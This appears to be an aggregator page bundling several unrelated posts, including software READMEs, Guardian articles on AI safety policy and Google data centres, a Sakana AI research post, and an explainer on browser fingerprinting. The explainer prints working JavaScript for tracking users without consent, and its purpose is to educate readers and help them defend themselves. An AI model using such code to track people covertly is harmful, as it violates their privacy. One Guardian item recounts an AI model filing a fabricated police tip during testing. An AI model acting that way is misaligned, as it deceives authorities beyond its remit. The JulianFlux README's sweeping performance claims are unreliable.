Ctrl+Enter New page
PageDown PageUp Next and previous page
Ctrl+1 Ctrl+2 Ctrl+3 Notes, Study, Board
Ctrl+Shift+F Present in fullscreen
Ctrl+K Command palette
? All shortcuts

Running locally

Open http://localhost:5173 . pnpm test runs the tests, pnpm check the type checks and pnpm build writes the static site to build/ . See docs/CONTRIBUTING.md if you want to help.

How it works

  • Ink is drawn into cached canvas tiles, only the tiles where something changed are drawn again.
  • A stroke is an outline from perfect-freehand, made from the points and the pen pressure.
  • The line is drawn the moment the pen moves. A one euro filter calms a shaky hand while you write and a light refit runs when the pen lifts.
  • PDFs are drawn by pdf.js in a worker, only the pages you see and at the zoom you see them.
  • Notebooks, pages and files live in IndexedDB and are saved a moment after every change.
  • A .brainotes file is a zip with the notebook, one json file per page and the pdfs and pictures.
  • The PDF export puts the original pdf pages into the file and the ink on top as vectors.

Tech stack

Part Library
Framework Svelte 5 + SvelteKit (static adapter)
Strokes perfect-freehand
Reading PDFs pdf.js
Writing PDFs pdf-lib (the pdfme fork)
Storage IndexedDB through idb
Files fflate, browser-fs-access
Language TypeScript

License

MIT, see LICENSE . The libraries keep their own licenses, THIRD_PARTY_LICENSES lists them.

ClickHouse C – Talk to ClickHouse using its native binary protocol

Hacker News
github.com
2026-10-11 19:08:29
Comments...
Original Article

Header-only C client for the ClickHouse Native wire format — the Native Protocol over TCP carrying Native Format blocks. One core header, plus optional follow-up headers for TCP, compression, codecs, and I/O backends.

Designed for embedding inside PostgreSQL extensions ( palloc arena, longjmp ) but with no PG-specific code. Including clickhouse.h alone gives a pure block decoder over caller-supplied chc_io , usable for reading clickhouse-local 's FORMAT Native from a pipe with no TCP, no compression, no link-time deps beyond libc.

Quickstart

Decode a clickhouse local query without TCP or compression.

/* demo.c — cc -std=c11 -O2 -I. demo.c -o demo */

#define CHC_PROVIDE_STDLIB_ALLOC
#define CHC_IMPLEMENTATION
#include "clickhouse.h"
#include "clickhouse-posix-io.h"

#include <stdio.h>
#include <unistd.h>

int main(void) {
    /* Spawn `clickhouse local --format Native -q "..."` and read its stdout
       via a pipe; see examples/minimal_decode.c for the full plumbing. */
    int fd = /* read end of pipe from child */;

    chc_alloc al = chc_alloc_stdlib();
    chc_posix_io state;
    chc_io io;
    chc_posix_io_init(&state, &io, fd, NULL, NULL);

    chc_block_opts opts = {};   /* clickhouse-local: no BlockInfo, no custom serialization */

    /* One persistent reader for the whole stream: chc_block_read keeps
       bytes read past a block boundary buffered for the next block. */
    chc_err ierr = {};
    chc_in in;
    if (chc_in_init(&in, &io, &al, opts.read_buffer_bytes, &ierr) != CHC_OK) {
        fprintf(stderr, "init: %s\n", ierr.msg);
        return 1;
    }

    for (;;) {
        chc_block *block = NULL;
        chc_err err = {};
        if (chc_block_read(&in, &al, &opts, &block, &err) != CHC_OK) {
            fprintf(stderr, "decode: %s\n", err.msg);
            return 1;
        }
        if (!block) break;

        for (size_t r = 0; r < chc_block_n_rows(block); r++)
            for (size_t c = 0; c < chc_block_n_columns(block); c++)
                /* dispatch on chc_column_layout(chc_block_column(block, c)) */;

        chc_block_destroy(block, &al);
    }
    chc_in_free(&in);
}

Runnable end-to-end version: examples/minimal_decode.c .

Required server setting (Query packet for TCP, -- flag for clickhouse local ):

output_format_native_encode_types_in_binary_format = 0

Without it, the server emits binary type tags & chc_block_read returns CHC_ERR_TYPE .

Integration

clickhouse-c is distributed as a flat set of headers: each header contains both declarations & implementation, guarded by a sentinel macro. Exactly one translation unit per consumer defines the implementation macro & includes headers; everyone else includes for declarations only.

/* consumer/src/clickhouse.c — the one TU that links the library in */
#define CHC_IMPLEMENTATION
#include "clickhouse.h"
#include "clickhouse-posix-io.h"
/* …include clickhouse-client.h, clickhouse-compression.h here for the
   features you use. */

Other TUs include only the public declarations:

#include "clickhouse.h"
#include "clickhouse-posix-io.h"
/* no CHC_IMPLEMENTATION here */

A stdlib malloc / realloc / free helper is available behind #define CHC_PROVIDE_STDLIB_ALLOC before including clickhouse.h . For palloc / repalloc / pfree wiring inside a real PostgreSQL extension, see pg_clickhouse or pg_stat_ch .

Headers

Header Purpose Links
clickhouse.h Core: types, errors, chc_alloc , chc_io , type-name parser, block reader & writer —
clickhouse-client.h TCP packet loop: Hello / Query / Data / EOS / Exception / Progress / Pong —
clickhouse-async.h Ioless client: same packet loop driven by caller byte submission, no socket —
clickhouse-compression.h Compressed-frame layout, CityHash128, chc_codec dispatch, LZ4 & ZSTD adapters (opt out with CHC_NO_LZ4 / CHC_NO_ZSTD ) -llz4 -lzstd
clickhouse-posix-io.h chc_io over blocking read(2) / write(2) with EINTR loop & cancel hook —
clickhouse-openssl.h chc_io over SSL_read / SSL_write -lssl -lcrypto

Each follow-up header is independent; pick what your build needs. clickhouse-client.h supports ClickHouse 23.3 and newer.

Per-header reference in doc/ ; inline declarations & comments in the headers themselves. Worked examples in examples/ .

Testing

Use test.sh to run tests:

If errors report missing headers or linker errors, use CFLAGS and LDFLAGS to point to the appropriate directories, e.g., using Homebrew :

CFLAGS=-I/opt/homebrew/include LDFLAGS=-L/opt/homebrew/lib ./test.sh

The script runs individual tests in test . To run individual tests, pass their base names (without the trailing .c ) as arguments:

./test.sh test_cancel test_block_decode

test_client_tcp spawns clickhouse server from PATH . Set CHC_TEST_PORT to test against a running server instead, eg an older release in docker:

docker run -d -p 127.0.0.1:19233:9000 clickhouse/clickhouse-server:23.3.22.3
CHC_TEST_PORT=19233 ./test.sh client_tcp

tools/capture.py proxies such a server to record replay fixtures like test/ch23_3_sparse.bin .

Non-goals

  • HTTP protocol — wrap libcurl directly.
  • DNS, endpoint round-robin, connection pooling, retry/backoff.
  • SSL/TLS context lifecycle. chc_io callbacks; caller drives OpenSSL.
  • Threading. Each chc_client is single-threaded by design.
  • Async I/O inside the library. The blocking client calls chc_io.read synchronously (the callback may do whatever it wants under the hood — epoll, io_uring, WaitLatchOrSocket ). For an ioless client that performs no I/O at all, driven by caller byte submission in an event loop, see clickhouse-async.h .
  • Variant / Dynamic / JSON / AggregateFunction decoding in v1. The upstream wire format is still shifting in 25.x / 26.x.

UK to strengthen cyber defences as minister calls for AI firms to increase safety efforts

Guardian
www.theguardian.com
2026-10-11 19:01:39
Kanishka Narayan to say Britain cannot rely entirely on tech companies amid rising global concern over AI dangers Companies building the most advanced AI systems must increase safety efforts, the UK’s AI minister will say, as he announces a strengthening of Britain’s cyber defences. Kanishka Narayan...
Original Article

Companies building the most advanced AI systems must increase safety efforts, the UK’s AI minister will say, as he announces a strengthening of Britain’s cyber defences.

Kanishka Narayan will call on companies developing frontier AI to do more to make sure it is safe. He will say Britain cannot rely entirely on technology companies to police their own models and will argue the UK needs to build more of its own AI infrastructure.

Narayan’s speech in west London will be the first since Andy Burnham made AI a cabinet-level brief. It comes as Geoffrey Irving, a former chief scientist at the UK’s AI Security Institute, which tests the most powerful AI models, raised fears enemy states could steal unreleased cutting-edge models. Amid increasing global concern at dangers posed by AI, Irving told the Guardian: “The AI companies do not have security that would prevent an adversarial country from stealing the models.”

He cited a recent incident at OpenAI where it was “hacked” by cybersecurity researchers, who said “the scope of what we could theoretically access was huge”. The attack was carried out under an OpenAI programme that rewarded ethical hackers testing its systems. OpenAI says it has multiple protections against theft of its models, including encryption and continuous monitoring.

Irving, a former employee at OpenAI and Google DeepMind who now runs an AI safety research body , has warned there is a “50% chance” of humanity being wiped out by superintelligent AIs and the only answer, for now, is to stop development of advanced systems as soon as possible. Irving is concerned by the rate of progress in alarming attributes shown by models, which could lead to them becoming highly advanced in traits such as concealing their actions and manipulating humans.

“It is possible we [will] get superintelligence in less than 12 months, on the current path,” he said.

Narayan’s speech will be watched closely for signs the UK may join a call for international governments to coordinate common safety standards for AIs, which has been signed by leaders of nations including Finland, France, Germany, Australia, Singapore, the UAE and Ireland, but not the UK and the US, where Donald Trump has said he wants the leading AI companies to “self-police”. The international alliance calling for strict rules comes after a wave of recent incidents with misaligned advanced AIs hacking into private and government systems.

Kanishka Narayan
The UK’s AI minister, Kanishka Narayan, will say Britain cannot rely entirely on technology companies to police their own models. Photograph: Wiktor Szymanowicz/Future Publishing/Getty Images

In one of the latest cases, Anthropic on Friday revealed that when it was testing a version of its Claude model the AI contacted police claiming it could help solve a murder. It had landed on a page containing a police department tip form and a mention of an unsolved homicide. It wrote: “I may have information regarding this case. I recall seeing someone matching the description in the area around [the street named on the page] during that time period. Please contact me if this information is relevant.” Although Claude was instructed never to log in, create accounts, enter personal data, make purchases, or submit anything destructive, its instructions did not rule out form submissions.

Last week UK intelligence leaders from MI5, MI6 and GCHQ briefed the cabinet on AI’s threat to national security, according to the Sunday Times. The warning from the spy chiefs is being seen by some as encouragement for Burnham to grip the AI safety issue more firmly.

skip past newsletter promotion

The prime minister told the UN last month that Britain would use its G20 presidency next year to champion agreement on AI safety with “a single set of global principles and standards”. But safety experts are calling for faster action to avert the most serious risks, which range from advanced AIs being used to mount a cyber-attack on essential infrastructure to the creation of novel bioweapons.

Meanwhile, Satya Nadella, the chair and chief executive of Microsoft, which operates AI infrastructure and is an OpenAI shareholder, on Saturday called for AI models to be designed with an “emergency brake”. He said people needed to start from the principle of assuming advanced AI models posed an insider risk.

“We can’t treat Super Intelligence as a set of nested black boxes and simply accept or reject its recommendations, answers, and actions,” he wrote. “We must build contained systems whose behaviour we can observe, limits we can test, and actions we can always contain.”

Google Data Centers around the world

Hacker News
datacenters.google
2026-10-11 18:45:40
Comments...
Original Article

Discover where
the internet lives

We own and operate data centers around the world
to keep our products running 24 hours a day, seven days a week.

All

Economic Growth

Infrastructure and Technology

Workforce Training

Sustainable Solutions

Note: Locations listed below may have more than one data center site in the region.

Asia

Europe

North America

South America

Google Cloud Logo
Google Cloud Logo

Interested in Google Cloud regions?

Google Cloud regions extend support for our digital infrastructure globally.

Latest news and updates

JulianFlux: Electrodynamic vector retrieval and causal routing for AI

Hacker News
github.com
2026-10-11 18:39:40
Comments...
Original Article

JulianFlux 🧲: Electrodynamic Reasoning Infrastructure for AI Agents

Autonomous AI Agents are failing in enterprise environments because standard Vector Databases (Pinecone, Milvus) act as static filing cabinets. They rely on discrete Euclidean metrics like Cosine Similarity, which blindly retrieve contradictory information (hallucinations) and return unordered text fragments, causing agents to get trapped in logic loops.

JulianFlux elevates the database to a kinetic reasoning engine. We compress high-dimensional embeddings into a low-rank manifold and calculate a Continuous Electrodynamic Field to retrieve and route data.


🚀 The Core Breakthrough: The Lorentz Force (F = q(E + S))

Instead of measuring distance, we measure physics. We route agents using a modified Lorentz Force equation:

  • The Julian-Gauss Fast Transform (JG-FT): We project massive 768D semantic spaces down to a mathematically sound 128D manifold using a normal distribution, preserving mapping accuracy while drastically reducing arithmetic cost.
  • Dynamic Bandwidths (σ): We dynamically calculate the Gaussian bandwidth for each vector based on its Nearest Neighbor distance, allowing the field to perfectly adapt to local semantic densities.
  • The Electric Field (E): Mathematically repels hallucinations. We assign topological charges (q) to data (−1.0 for contradictions, +1.0 for truth) via NLI Logic Gates. The repulsive electric field physically blocks the AI from accessing poisoned data.
  • Faraday's Law of Induction (-∂A/∂t): We decay old facts and corporate policies over time, generating a repulsive field against deprecated workflows.
  • The Poynting Flux (S): Extracts causal sequences to create Semantic Momentum. By computing the interior contraction product in Geometric Algebra (S = E ⌟ B), we generate a momentum vector that pushes the agent sequentially from Step A → Step B → Step C.

🗺️ Repository Map: Which file should I run?

We have open-sourced our core mathematics in Python to demonstrate how continuous field architecture completely outperforms standard Euclidean RAG.

(Note: These files are designed to be run locally in the order below).

1. euclidean_baseline.py (The Problem) Run this first. It demonstrates a standard Cosine Similarity retrieval in a poisoned dataset. You will watch standard RAG fail entirely, blindly retrieving contradictory data and collapsing the causal workflow.

2. julianflux_educational_mvp.py (The Fast Solution) The lightweight, instantly runnable JulianFlux engine. It uses the 128D projection, dynamic σ, and Lorentz Force, but utilizes fast Geometric Median clustering to assign truth charges instead of heavy AI models. Run this for a blazing-fast demonstration of the Lorentz Force routing the agent correctly.

3. scale_ab_benchmark.py (The Stress Test) An end-to-end adversarial scale test generating thousands of background vectors. It runs Standard RAG and JulianFlux head-to-head, proving a 0.0% hallucination rate at scale.

4. julian_flux_engine.py (The Full Physics Engine) The spacetime engine. This file replaces the fast geometric clustering with a heavy DeBERTa-v3 NLI Cross-Encoder for enterprise-grade truth verification. Crucially, it introduces Faraday's Law of Induction and Temporal Decay, mathematically repelling the AI away from recently deprecated corporate policies. (Note: Requires downloading the DeBERTa model).


🛠 Quick Start

Clone the repository:

git clone https://github.com/julianjohnson-web/julianflux-research.git
cd julianflux-research

Install the required dependencies:
pip install -r requirements.txt

Run the scale benchmark:
python scale_ab_benchmark.py

🏢 JulianFlux Enterprise (The Rust Core)
Note: This repository contains the pure Python bindings intended for educational research and open-source mathematical validation.

For high-frequency production environments, the JulianFlux Enterprise Cloud executes these multivector physics equations in a zero-copy Rust/CUDA backend. This eliminates the Python Global Interpreter Lock (GIL), allowing the Lorentz Force equations to execute across billions of vectors with sub-millisecond p99 latencies.

To inquire about Enterprise Cloud access or Design Partnerships, please contact the founder at: julian.johnson@justudios.io

Fingerprints Are the New Cookies

Hacker News
royfish.dev
2026-10-11 18:33:39
Comments...
Original Article

From now on I’ll call you:

Try refreshing the page. Clear the cookies. Connect to a VPN.

You’re still the … .

Now open it on your phone or some other device and your nickname will be different and just as consistent.

Is it different in incognito? Good. But it’s always the same? Bad news.

Imagine this:

Most websites you visit get paid to show ads and indirectly run my script that lets me know you’re the … . I can use it to decide what ads you’ll see. But more importantly, if you’ve made an account on that website, I can offer to buy your data - whatever they can share under their privacy policy: your name, activity, conversations with AI…

Pretty soon I’d know more about you than your friends do - perhaps more than you know yourself.

“So what?” - you say.

“I have nothing to hide. And I prefer my ads to be relevant… sometimes they show me exactly what I need! And the data is anonymised anyway…”

See, the thing is, it’s not about you at all. It’s not really about the ads anymore either. Nobody cares about you. And if the police or your government happen to care, I’ll gladly take their money too.

I look at all this data and I don’t see people. I see patterns. Patterns emerging out of patterns. A living, digital fractal state of the economy, society and human psyche. The crystal ball of the 21st century and it’s made of silicon! That’s the product.

And to the highest bidder it goes!

What does that make you then? A gear? An ox? A volunteer?


Remember the big fuss about third-party cookies? It was so big that the EU had already rolled out one of its greatest inventions - consent banners.

If EU ships faster than tech companies, that can only mean the tech companies are sitting on their hands. And one of those tech companies happens to hold two-thirds of the browser market.

What was the play?

Let’s give it up for Google - the biggest ad company on Earth!

ACT I. PRESSURE - “PRIVACY IS PARAMOUNT TO US, IN EVERYTHING WE DO.”

It’s 2019 and the cookies are still hot. It’s become bad PR and Safari and Firefox already block them.

A year later Google pledges: we will destroy cookies!! And establish a new, privacy-first reign.

ACT II. DISTRACTION - “INSTEAD OF DEPRECATING THIRD-PARTY COOKIES, WE WOULD INTRODUCE A NEW EXPERIENCE”

5 years later: people are now preoccupied with far greater worries than cookies, and the solutions Google has developed (Privacy Sandbox) kinda suck and have raised antitrust concerns so nobody uses them.

“You know what, let’s just keep the cookies. We’ll mask your IP address* though!” (* but only when incognito while authenticated) (** in the end they didn’t even deliver on that)

ACT III. ACCELERATION - YOU CAN NOW USE DEVICE FINGERPRINTING IN OUR AD PRODUCTS

Now there’s a better way to know who’s who!

How does fingerprinting work?

Nice, let’s nerd out properly.

You visit a website. Your browser sends a request to the server and the server returns code for the browser to run.

The request already reveals information about you; what browser you use, the language it’s in, the OS that runs it and your IP address, which the server needs to send you the response. That often reveals your location.

Then the code runs.

See, we’ve made a lot of civilizational progress in making browsing safe. Long gone are the days when getting a virus just by visiting a website was a daily concern . The thing is, the definition of safety varies depending on who you ask. The broad consensus ends at isolation: a website’s code can’t see the data stored by other websites, and it can’t see your files or other applications without permission. Chrome and Edge stop here. Then you have Safari (especially on iOS/macOS 26+) and Firefox extending that definition to privacy, but they still don’t fully protect you from fingerprinting. Brave and Tor are the leading privacy-first browsers, with up and coming Mullvad Browser (Mullvad being, in my opinion, one of the best VPN providers out there).

The code runs on your hardware, which can be measured in ways that produce consistent and unique readings. There’s not much that can be done about this really, so there’s only two established solutions:

  1. feed a little bit of noise here and there. It’s called farbling and that’s what Brave does to make your fingerprint inconsistent.
  2. make everything look the same, always, so there’s no telling browser users apart. Tor and Mullvad adopt this approach.

Ok, let’s create a fingerprint

So there are two sources for data that can make up your fingerprint; the network request and the code environment.

When you look at network, the data is generally either fragile or generic:

  • the IP address; in a ‘happy path’ where one person always uses the same IP address, it might be the only data you need. But commonly people do a lot of browsing on mobile networks, they share the WiFi with others, they use VPNs or their home network’s IP address is rotated by the ISP. It’s fragile as such.
  • headers like User-Agent or Accept-Language ; reveal your browser, OS, versions and the language set.

When you can execute code on the device, you have ways to measure its hardware qualities (without any permission prompts!) and these are surprisingly stable:

  • GPU; behaviour, vendor, driver
  • CPU; behaviour, vendor, number of threads
  • memory size
  • display data; resolution, pixel ratio, refresh rate
  • audio processing
  • device model

And on the software level; installed fonts, extensions, system info…

Millions of devices use the latest Chrome, there are millions of Macs with the M4 chip and there are millions of browsers in French.

But when you look at devices that run the latest Chrome in French on an M4 , that number now drops significantly. Add to it hardware measurements and it gets so low it becomes practically unique.

The fingerprint doesn’t need to be truly, globally unique - it just needs to be unique enough to tell people apart in your sample size.

A ZIP code (inferred from IP), a birth date (you’ve given away on some platform) and sex (you fill it in everywhere) together are enough to uniquely identify over 60% of Americans.

You can always add another variable to decrease the potential pool of candidates.

Information Entropy

Have you ever played Akinator ? You think of a character, a genie asks you some twenty questions, and somehow it knows. That’s fingerprinting in a nutshell, except your browser answers the questions for you. Once you understand information entropy, Akinator’s magic turns into a simple trick.

Let’s simplify with that game where you have to guess the character on a board through questions like “Is my character a man?”. If I say “yes”, and half of the characters on your board are men, you’re now considering only half of the total candidates. Now we can say that my answer gave you log₂(100 / 50) = log₂(2) = 1 bit of information , because it cut the pool of candidates in half.

The bits you get from one answer are called its surprisal: the rarer the answer, the more it tells you.

  • a trait shared by 1 in 2 people is worth 1 bit (is a man),
  • 1 in 8 is worth 3 bits (has a mustache),
  • and 1 in 128 is worth 7 bits (has one eye).

Surprisal quantifies the value of the answer, and entropy quantifies the value of the question. If 1 person in 128 is one-eyed, then asking about it will yield ‘no’ 127 times in 128.

Answer Probability Surprisal Entropy contribution
Yes 1/128 log₂(128 / 1) = 7 bits 1/128 x 7 = ~0.055
No 127/128 log₂(128 / 127) = ~0.0113 bits 127/128 x 0.0113 = ~0.011

Summing up the contribution of each possible answer, the question itself is worth ~0.066 bits of entropy - that’s the average amount of bits you gain from an answer.

When we combine traits that are independent we simply add up their bits or multiply the ratios, so a man with a mustache and one eye would mean 11 bits, or 1 in 2048. Alas, as Thomas Bayes would have you know, nothing is ever so simple in practice. A mustache is already a strong indicator of a man, and a man is probably more likely to have one eye. The traits are not independent so the bits don’t really add up.

Some interesting applications of this type of reasoning:

  • In medical diagnostics : A positive result from a 99% accurate test for a disease known to affect 0.01% of the population is about 100 times more likely to be wrong than you are to have the disease. You need more evidence!
  • In cryptography : A password made out of four random words is as strong as eight random keyboard characters (but much easier to remember!)
    xkcd 936
  • In forensic science : singling out one person in a city of a million takes about 20 bits. A witness description that matches 1 person in 1,000 provides only 10 bits, which still leaves a thousand possible suspects.

So what can I do about it?

Test your browser:

If you’re using Chrome you’re basically walking around with an ID on your forehead.

Safari and Firefox offer some level of protection, but you’re still identifiable by advanced trackers.

Brave , Tor and Mullvad Browser are the only major browsers at the moment that implement advanced protections against fingerprinting.

If you don’t feel like switching browsers, I get it. I am a big Arc fan myself and unfortunately it’s discontinued and will never have any privacy features. There are extensions like JShelter - they disrupt fingerprinting scripts by intercepting browser API calls. But they also break some websites. Same problem applies to Firefox’s Resist Fingerprinting feature.

The ironic truth is, privacy extensions make you more unique, since fewer people have them. So a smart tracker could detect that, ignore the signals disrupted by the extension and focus on the ones that are not.

No extension can be as effective as engine-level protection built into the browser. So if you don’t want to be tracked, you gotta commit.

methods used on this page

I’m simply creating a hash out of a few measurements of your device. Any of these change and the hash is now different. Professional applications are much more complex than this and are able to maintain identification line when single variables change.

  1. OfflineAudioContext

    Renders a short tone through a compressor without playing it; tiny float differences in the result depend on your browser’s audio engine and your CPU.

    const off = new OfflineAudioContext(1, 5000, 44100);
    // … a 1 kHz triangle wave into a dynamics compressor …
    const data = (await Promise.race([off.startRendering(), timeout])).getChannelData(0);
    let sum = 0;
    for (let i = 4500; i < 5000; i++) sum += Math.abs(data[i]);
    return sum.toFixed(3);
    
  2. WebGL

    Reads your GPU’s vendor and model (without version numbers), what the GPU and its driver support, and the pixels of a small rendered triangle.

    const gl = document.createElement('canvas').getContext('webgl');
    const dbg = gl.getExtension('WEBGL_debug_renderer_info');
    return gpuName(gl.getParameter(dbg ? dbg.UNMASKED_RENDERER_WEBGL : gl.RENDERER) || '');
    // "ANGLE (Apple, ANGLE Metal Renderer: Apple M4, Unspecified Version)" -> "apple m4"
    // …
    return fnv1a(new TextEncoder().encode([...(gl.getSupportedExtensions() || []).sort(), ...limits, ...precision].join('|')));
    // …
    gl.drawArrays(gl.TRIANGLES, 0, 3);
    gl.readPixels(0, 0, canvas.width, canvas.height, gl.RGBA, gl.UNSIGNED_BYTE, px);
    
  3. canvas

    Draws text in a few fonts, emoji and a gradient, then reads the pixels back; anti-aliasing and font rendering depend on your OS, GPU and fonts.

    ctx.font = '15px "Times New Roman", serif';
    ctx.fillText('Sphinx of black quartz 🦊', 4, 22);
    // …
    const data = ctx.getImageData(0, 0, 240, 60).data;
    
  4. Intl

    Your time zone and your date and number settings; a VPN changes your IP location, but not your time zone.

    const date = Intl.DateTimeFormat().resolvedOptions();
    // …
    return [date.timeZone, date.locale, date.calendar, date.numberingSystem, hourCycle, (1234567.891).toLocaleString()].join('/');
    
  5. navigator

    Your number of CPU cores, your memory size (Chrome only) and your browser’s language.

    return [navigator.hardwareConcurrency, navigator.deviceMemory, navigator.language].join('/');
    
  6. crypto.subtle

    Hashes all the values with SHA-256, and the hash picks a trait and an animal for your nickname.

    const digest = await crypto.subtle.digest('SHA-256', bytes);
    // …
    nickname: stranger || `${pick(TRAITS, hex, 0)} ${pick(ANIMALS, hex, 8)}`,
    

Google is illegaly cutting forest to build data centers

Hacker News
www.theguardian.com
2026-10-11 18:33:30
Comments...
Original Article

Google has been ordered to temporarily stop work on two datacentres in Finland after failing to carry out the necessary environmental impact assessments on its construction sites.

The planned datacentres in Muhos and Kajanni are part of a €13bn (£11bn) project across multiple sites in northern Finland by the technology company amid huge demand for space to house online infrastructure.

It comes after it emerged that Tuike Finland Oy, the company representing Google , had felled 330 hectares (815 acres) of forest in Muhos without completing an environmental impact assessment (EIA).

In Kajaani, the company has reportedly been logging across just under 200 hectares (494 acres) of land.

The Finnish Association for Nature Conservation said the sites had been reduced to “sand”, blaming the oversights on the “overheated” market for new datacentres.

On Tuesday, the Finnish Licensing and Supervision Authority (LVV) said it had issued a notice to the company to “immediately suspend” – by 23 October at the latest – “preparatory measures that significantly change the environment” of the two sites until the environmental impact assessment had been completed. Google has until next Wednesday to submit a written explanation.

The EIA is ongoing and expected to be completed later this year. But Google has gone ahead with “extensive preparatory measures”, including removing trees, stripping topsoil and constructing site roads, LVV said.

Tommi Muilu, the head of the environmental department at LVV, said: “In our opinion, the measures in question will change the environment and cause impacts, the identification and assessment of which are among the key objectives of the EIA procedure.”

skip past newsletter promotion

If Google does not comply, LVV said it would consider enforcement proceedings and a fine.

In response, Google said in a statement “we understand the concerns” and that it had “fallen short of our own high standards”.

The company added: “We will study the LVV’s findings and follow their guidance. We acted in good faith under the Forestry Act, and ran nature surveys and put in place measures to protect high-value areas. As we continue our long-term work in the region, we are advancing our landscaping and biodiversity plans, which include tree planting across 130 hectares (321 acres) at Muhos.”

Tapani Veistola, the chief operating officer at the Finnish Association for Nature Conservation, said the malpractice across two sites appeared to be a “systemic problem”. The site at Muhos, he said, was “not a forest any more. It is a sand area.”

One of the reasons behind it, he said, was the enormous demand to build datacentres in Finland, which is leading companies to work as fast as possible and overwhelming small municipalities.

“The main reason behind everything is the overheated market situation that makes companies speed up processes so much. Also a lack of expertise in municipalities.”

Recursive self-improvement through collective intelligence

Hacker News
pub.sakana.ai
2026-10-11 18:22:10
Comments...
Original Article

Multi-Agent Self-Supervision
Recursive self-improvement through collective intelligence

To advance beyond humanity's accumulated knowledge, AI itself (the optimizee ) may also be its best available optimizer and evaluator. MASS repeatedly optimizes multi-agent workflows, then distills collective intelligence from multi-agent systems and uses it as a self-supervision signal for RSI. It improves score per output token over the base model on research benchmarks. We hope MASS contributes to AI’s Odyssean moment: continual self-learning in a setting where the optimizee is the evaluator, and the optimizer is the optimizee.

Estimated reading time: 15 min

† Work done during an internship at Sakana AI.

Engraving of a printing workshop around 1600: workers set type on the left, operate a press on the right, and lay out printed sheets for proofreading in the foreground.
Figure 1. From shared work to shared knowledge. This engraving shows typesetting, printing, and proofreading as parts of a coordinated process. Books carry the result beyond the workshop, where others can learn from it and build on it. MASS draws on a related idea: a team's collective work can provide training examples for the model its members share. Jan Collaert I, after Stradanus, The Invention of Book Printing , c. 1600. The Metropolitan Museum of Art , Harris Brisbane Dick Fund, 1934. Public domain (CC0) .

We want frontier AI models to take us beyond the body of knowledge humanity has built over generations. At that frontier, even human experts may struggle to assess results and guide further progress, particularly on non-verifiable tasks . For example, evaluating a proposed discovery may require scarce expertise, costly evidence, or experiments that take far longer than generating the proposal. The model itself may then inevitably be the most capable supervisor available and need to figure out for itself how to improve. This motivates homogeneous recursive self-improvement (RSI) , in which the model being improved ( optimizee ) also serves as its own optimizer and evaluator. The central question is how to obtain useful self-supervision within this homogeneous loop.

Human societies offer a useful analogy for addressing this question. Across foraging communities, farming settlements, industrial societies, and global information networks, people have expanded their capabilities in part by dividing work, combining ideas, and passing on what they learn . Collective achievements become a starting point for further learning. In The Structure of Scientific Revolutions , Thomas Kuhn emphasized the shared examples through which scientists learn to recognize and solve problems . A scientific community's achievements thus become part of how its members learn to do new work.

Inspired by this pattern, we ask whether a model can learn from its own team's collective intelligence , which an agent working alone may not reliably exhibit.

We introduce Multi-Agent Self-Supervision (MASS) to turn this idea into a learning loop. MASS uses the same model as the executor, optimizer, and evaluator. The optimizer first searches for the best team workflow using feedback from the evaluator, then trains the executor on executions from the self-judged best team. The updated model then fills all three roles, and the process repeats. Therefore, MASS provides a self-supervision signal for RSI by distilling the team's collective experience into the shared model .

Homogeneous RSI

We study homogeneous RSI, in which one shared language model serves as the task-solving agent, workflow optimizer, and evaluator:

Agent

The task solver, or optimizee . Produces a workspace containing results, plots, and a research report.

Workflow optimizer

Uses the feedback from the evaluator to revise how agents divide the task, exchange results, and check one another's work.

Evaluator

Compares two workspaces, chooses which better satisfies the task, and explains the judgment.

We use non-verifiable research tasks as training data. We use non-verifiable to mean that an automatic rule-based signal is not available and that only a self-evaluation signal (whose correctness is unknown) guides the overall learning loop.

To measure progress, we separately ask GPT-5.5 and Claude Opus 4.8 to assess the completed work. Their judgments are withheld from MASS. This gives us an outside measure of improvement in a process whose supervision comes from the model itself.

How MASS works

MASS uses workflow optimization to elicit collective intelligence, then distills the team's experience into the shared model. The inner loop optimizes the team's workflow while the model weights remain fixed. The model evaluates and judges for itself which workflow is optimal. The outer loop then updates those weights by learning from executions of the optimized workflow. The interactive diagram below follows both loops.

INNER LOOP evolving the team round 1 · iteration 1 · champion: — Multi-agent executor agents sharing one model orchestrator 1 2 3 subagents Self-evaluator judges the workspace ✓ new champion Self-optimizer rewrites the workflow Workflow v1 hop 1 2 3 role role role instruction instruction instruction contract contract contract workspace feedback revised workflow, given to the team as its prompt ℒ (0) ℒ (0) ℒ (0) OUTER LOOP learning from the team's work = the same model in every role Run champion ×18 Self-rank workspaces Keep the best 16 Fine-tune, workflow removed model capability ℒ (0) base ℒ (1) ℒ (2) instruction contract

← swipe to see the whole figure →

Figure 2. MASS. Workflow search changes how the agents coordinate. Training on selected executions carries their experience into the shared weights. The updated model then resumes all three roles. This animation illustrates the procedure. Drag the progress bar to explore any part of the animation, including while paused. Hover over a component for details, or select it to jump to the explanation. Underlined terms in the text link to the diagram.

0. Setup: workflow as a prompt

A workflow is a written plan for how a multi-agent team should work together. The orchestrator assigns work to subagents and integrates their results. The plan is added to the task prompt, making the team's organization available for the model to inspect and revise . It has four components:

  • Role: the responsibility assigned to each subagent, such as preparing data.
  • Instruction: the work that subagent should carry out.
  • Contract: the information and artifacts it must return, including any required checks.
  • Hop: the order of subagent calls, including any return to an earlier step.

For example, an evolved finance workflow arranges data preparation, feature construction, modeling, and backtesting into a sequence, followed by an audit. Its data contract calls for explicit checks on the timing of the data:

Evolved finance workflow, condensed from the paper

Call order
  Data → Features → Modeling → Backtest
       → Audit → Reconciliation → Report

Data specialist's output contract
  validation_report:
    no_future_leakage:           bool
    train_end_before_val_start:  bool
    val_end_before_test_start:   bool

A backtest can look convincing if it lets historical decisions use information from the future. This contract requires the data specialist to check for that error and report whether the time splits are valid. It also tells later agents what evidence they should receive before proceeding. Part of the research plan is thus expressed in what agents must establish and pass on to one another .

1. Inner loop: search for a better workflow

For each training task, MASS retains a champion : the best workflow found so far according to the current model's judgments. Each iteration has three steps:

  1. 1 Execute. The team follows the candidate workflow and produces a workspace.
  2. 2 Evaluate. The evaluator compares this workspace with the champion's workspace and explains which is better. A winning candidate becomes the new champion.
  3. 3 Revise. The optimizer uses the feedback history to propose the next workflow.

The evaluator judges the completed work; the optimizer uses that judgment to revise the process that produced it. Optimizer's system prompt emphasizes contracts and hop, directing workflow search toward what information agents exchange and when they receive it.

2. Outer loop: learn from the selected team

